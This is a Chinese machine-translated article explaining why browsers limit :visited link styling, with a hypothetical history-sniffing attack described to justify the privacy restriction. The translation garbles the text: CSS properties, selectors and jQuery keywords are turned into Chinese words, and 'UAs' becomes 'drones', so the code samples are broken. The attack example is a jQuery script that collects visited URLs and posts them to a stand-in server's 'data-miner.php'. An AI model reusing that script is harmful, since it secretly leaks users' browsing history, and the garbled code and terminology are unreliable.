属性的样式规则中,开发人员可以使用的CSS属性受到了现代浏览器的严格限制:参观
链接伪类。如果您不熟悉这个奇怪的伪类,您可能想知道为什么站点访问的链接没有按预期呈现。如果您试图通过为访问的链接设置样式背景图像
例如,你会惊讶地发现在现代浏览器中已经不能这样做了。
你可能认为这是一个浏览器错误,因为没有明显的原因,为什么下面的CSS不能工作:
/*这不会像预期的那样工作*/A:访问{显示:块;背景图片:url(“cat.jpg”);}
如果我们使用其他伪类,比如:徘徊
伪类——样式属性按预期工作。
/*这完全没问题*/答:悬停{显示:块;背景图片:url(“cat.jpg”);}
目前,它似乎属性的唯一属性:参观
伪类是颜色
财产。哦,浏览器很可能不会渲染alpha透明度的颜色,即使你正确地指定了一个标准的颜色单位,如rgba.
奇怪的是吧?有什么事吗?的链接伪类的W3C规范从技术上讲,浏览器可以选择忽略我们的:链接
而且:参观
伪类样式规则。
这是因为:参观
伪类可能是潜在的滥用这样施虐者就能获取访问者浏览历史的数据。
样式表作者可能滥用:link和:visited伪类,在未经用户同意的情况下确定用户访问了哪些站点。因此,无人机可能会将所有链接视为未访问的链接,或者采取其他措施来保护用户的隐私,同时以不同的方式呈现已访问和未访问的链接。”来源:选择器级别3:链接伪类::link和:visited
(如果你想知道:在上面的摘录中,术语“UAs”指的是“用户代理”,这是用来访问网站的软件。
最常见的UA类型是web浏览器。)
用户的浏览历史是如何被泄露的
属性不能使用所有CSS属性的原因:参观
伪类,我将试图通过一个假设的情况来解释它。现代浏览器不再允许
背景图像
属性要呈现。但是,让我们假设,在这个假设的情况下,web浏览器允许并呈现背景图像
财产。
如果没有适当的预防措施,施虐者:参观
伪类可以放一个清单吗
<一>
网页中指向特定网站的元素,然后对页面的访问者隐藏它:
超文本标记语言
隐藏链接 隐藏链接 隐藏链接…
这些<一>
元素可以使用CSS隐藏。浏览器无法呈现背景图像
属性本身在客户端,它必须从一些web服务器下载资产来呈现CSS作者指定的属性。
让我们称这个外部资产为“visited.jpg”。
CSS
{:链接/*隐藏链接*/显示:没有;背景图片:没有;} a:已访问{/*给访问的链接一个背景图片*/背景图片:url(“http://some.server/visited.jpg”);}
然后,使用JavaScript,可以循环遍历网页上的所有链接,以确定它是否具有“visited.jpg”背景。如果一个链接具有“visited.jpg”背景,那么它就表明该URL已被用户访问过。访问过的url列表以及用户的IP地址等其他信息可以发送到服务器端脚本进行处理。
在下面的示例中,jQuery用于实现这种性质的内容。
jQuery JavaScript /
$(文档)时函数(){//提示链接已被访问的属性值var VisitedBg = "url(http://some.server/visited.jpg)";//存储访问url的数组var URLsVisited = [];//循环浏览网页中的所有链接$ (' a ') . each(函数(){//检查当前链接的背景是否等于/ / visited.jpgif($(this).css('background-image') == VisitedBg) {//把这个链接放在数组中,因为//它已被访问URLsVisited。Push ($(this).attr('href'));}});//发送访问的url列表到PHP脚本//用于处理和存储美元。ajax({type: 'post', url: 'http://some.server/data-miner.php', data: {'URLsVisited': URLsVisited}});});
这里有一个更详细的关于隐私问题的解释在Mozilla.org上。属性时所呈现的CSS属性:参观
伪类,JavaScript函数等getComputedStyle ()
而且querySelector ()
属性匹配的链接上使用时:参观
选择器将以一种无法区分已访问链接和未访问链接的方式返回值。
开发者面临的问题:没有标准
目前,还没有关于哪些CSS属性可以与:参观
伪类选择器,所以当涉及到样式访问链接时,目前存在这种不一致性和不确定性。甚至未来的W3C CSS规范也没有给出明确的说明。在当前的CSS4草案中,浏览器仍然可以自由支配如何处理:参观
而且:链接
伪类:
“因此,无人机可能会将所有链接视为未访问的链接,或者采取其他措施来保护用户的隐私,同时以不同的方式呈现已访问和未访问的链接。”来源:选择器级别4:链接历史伪类::Link和:visited
我之前在Mozilla.org博客上链接的一篇解释隐私问题的文章是这样说的:
我们限制了CSS属性,这些属性可用于将访问的链接设置为color、background-color、border-*-color和outline-color,以及填充和描边属性的颜色部分。
的官方文件:参观
伪类在Mozilla开发者网络上说:
注意:出于隐私原因,浏览器严格限制了你使用这个伪类选择的元素所能应用的样式:只有color、background-color、border-color、border-bottom-color、border-left-color、border-right-color、border-top-color、outline-color、column-rule-color、填充和描边。来源::visited - CSS | MDN
但是,当您在最新版本的Firefox中尝试Mozilla的允许属性时,只有颜色
房地产工作。因此,即使是浏览器供应商的官方文档和博客文章也不能给出定论。ie浏览器是最权威的。
但我用这个词的时候比较宽松。在一个关于开发人员控制台工具错误消息的模糊MSDN文档中,有一个条目SEC7115
错误代码。错误信息如下:
:visit和:链接样式只能因颜色而不同。
有些风格并不适用于:visited。”来源:F12开发人员工具控制台错误消息(Windows)
解决错误消息的建议修复是:
“只更改颜色属性。”来源:F12开发人员工具控制台错误消息(Windows)
以上至少间接暗示了Internet Explorer已经采取了立场:参观
伪类。浏览器将只应用颜色
CSS属性。
结论
现在,网络浏览器的趋势是只有颜色
属性中指定的:参观
选择器将被呈现。任何其他CSS属性都将被忽略。